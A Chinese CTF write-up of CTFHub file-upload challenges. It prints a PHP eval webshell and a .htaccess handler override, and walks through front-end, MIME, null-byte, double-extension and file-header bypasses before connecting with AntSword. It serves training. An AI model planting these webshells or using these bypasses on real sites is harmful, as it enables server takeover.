文件上传-CTFHub

前言

本文是作者由CSDN博客迁移而来,原文地址:https://blog.csdn.net/2302_81178149/article/details/145459083

 在众多的CTF平台当中,CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub

作者的CTFHub技能树汇总:

CTFHub技能树Web汇总-CSDN博客

关于文件上传,作者认为upload-labs是一个很好的靶场。作者通过该靶场训练到了文件上传的大多数技巧。应对CTFHub这些题型时就已经得心应手,推荐大家也做一下。

upload-labs的wp:upload-labs通关全详解-CSDN博客

文件上传的技术总结:文件上传学习总结_文件上传学习 csdn-CSDN博客

无验证

我们先写一个一句话木马文件webshell_post.php。

1
<?php @eval($_POST['key']);?>

一会用来上传

无验证就直接上传

告知上传路径

用蚁剑连接,添加数据

测试连接成功

添加成功

在html文件夹里发现flag

前端验证

先上传试试,发现禁止上传

果然是前端验证

禁用js试试

上传成功

还是连接蚁剑

Flag还在相同的位置

.htaccess

题目描述:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

将一句话木马webshell.php修改后缀名,改为webshell.jpg,制成图片马

然后上传

再制作一个.htaccess文件,写入

1
Sethandler application/x-httpd-php

然后上传

然后我们用蚁剑连接图片马

找到flag

MIME绕过

上传一句话木马,用bp抓包

1
Content-Type: application/octet-stream

补充一下常见的类型

类型 描述 典型示例
text 表明文件是普通文本,理论上是人类可读 text/plain, text/html, text/css, text/javascript
image 表明是某种图像。不包括视频,但是动态图(比如动态 gif)也使用 image 类型 image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon
audio 表明是某种音频文件 audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
video 表明是某种视频文件 video/webm, video/ogg
application 表明是某种二进制数据 application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf

这里我们改成

1
image/jpeg

上传成功

蚁剑连接

出flag

00截断

还是上传之前制作的图片马,然后抓包

这里我们将上传路径修改,加上webshell.php%00

然后我们的文件就会保存在/upload/webshell.php,而不是原文件名webshell.jpg

上传成功,但是没有显示上传路径,因为通过00截断我们已知上传路径,就是/upload/webshell.php

用蚁剑连接

出flag

双写后缀

上传一句话木马,抓包

这里题目提示双写后缀,那我们就把filename改为webshell_post.pphphp

上传成功

用蚁剑连接,出flag

文件头检查

这里用jpg图片做示范,制作图片马,绕过文件头检查。

使用cmd命令:

在同时有图片和一句话木马的文件夹下打开cmd,然后使用以下命令。

1
copy 图片名 /b + 一句话木马的文件名 /a webshell.jpg

意思是将一句话木马文件中的代码追加到图片中并重新生成一个叫webshell.php的代码。

比如作者图片名就叫“重庆森林不在重庆.jpg”,一句话木马的文件名还是“webshell.php”。

那么作者的命令为:

1
copy 重庆森林不在重庆.jpg /b + webshell.php /a webshell.jpg

下图表示图片马制作成功。

但是有的图片制作后依然不能上传,这时候就需要大家换图片、换图片类型(比如png)或者手动修改文件头

制作以后我们开始利用,上传图片马,然后抓包

将filename的后缀改为php(因为我们需要用jpg或者png格式的文件头及MIME绕过,但jpg或者png格式无法执行里面的一句话木马,所以我们上传还是要保存为php格式)

上传成功

连接成功

出flag


文件上传-CTFHub
http://example.com/2025/05/04/18文件上传-CTFHub/
作者
sangnigege
发布于
2025年5月4日
许可协议